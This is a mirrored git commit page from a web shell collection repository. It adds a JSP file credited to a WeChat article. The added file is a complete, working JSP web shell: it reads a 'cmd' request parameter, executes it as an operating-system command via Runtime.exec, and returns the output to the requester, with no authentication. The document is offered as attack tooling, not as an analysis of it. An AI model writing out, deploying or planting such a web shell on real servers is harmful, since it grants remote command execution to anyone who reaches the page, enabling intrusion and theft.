mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
Create 2022-09-03-01.jsp
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg Author: naihe567
This commit is contained in:
parent
7e80e8a440
commit
2c1c82b4c1
1 changed files with 17 additions and 0 deletions
17
jsp/2022-09-03-01.jsp
Normal file
17
jsp/2022-09-03-01.jsp
Normal file
|
@ -0,0 +1,17 @@
|
|||
|
||||
<%@ page import="java.io.InputStream" %>
|
||||
<%@ page import="java.io.BufferedReader" %>
|
||||
<%@ page import="java.io.InputStreamReader" %>
|
||||
<%@page language="java" pageEncoding="utf-8" %>
|
||||
|
||||
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
Process process = Runtime.getRuntime().exec(cmd);
|
||||
InputStream is = process.getInputStream();
|
||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
|
||||
String r = null;
|
||||
while((r = bufferedReader.readLine())!=null){
|
||||
response.getWriter().println(r);
|
||||
}
|
||||
%>
|
Loading…
Reference in a new issue